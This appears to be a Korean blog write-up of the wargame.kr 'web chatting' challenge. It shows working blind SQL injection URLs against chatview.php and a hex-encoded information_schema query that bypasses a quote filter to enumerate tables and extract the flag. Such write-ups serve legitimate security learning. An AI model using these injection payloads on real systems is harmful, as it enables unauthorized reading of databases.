wargame.kr - web chatting (650p)
이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.
채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.
몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.
/web_chatting/chatview.php?t=1&ni=30215{인젝션} |
그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.
(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)
잠시 고민하다가, 아래처럼 해결했다.
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)
db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.
테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회
select concat(table_name,char(0x2c),column_name)
from information_schema.columns
where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and
table_schema not like 0x6d7973716c and
table_name not like 0x636861745f6c6f67 limit 1
해당 테이블을 조회하면 flag 가 들어있었다. 끝.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |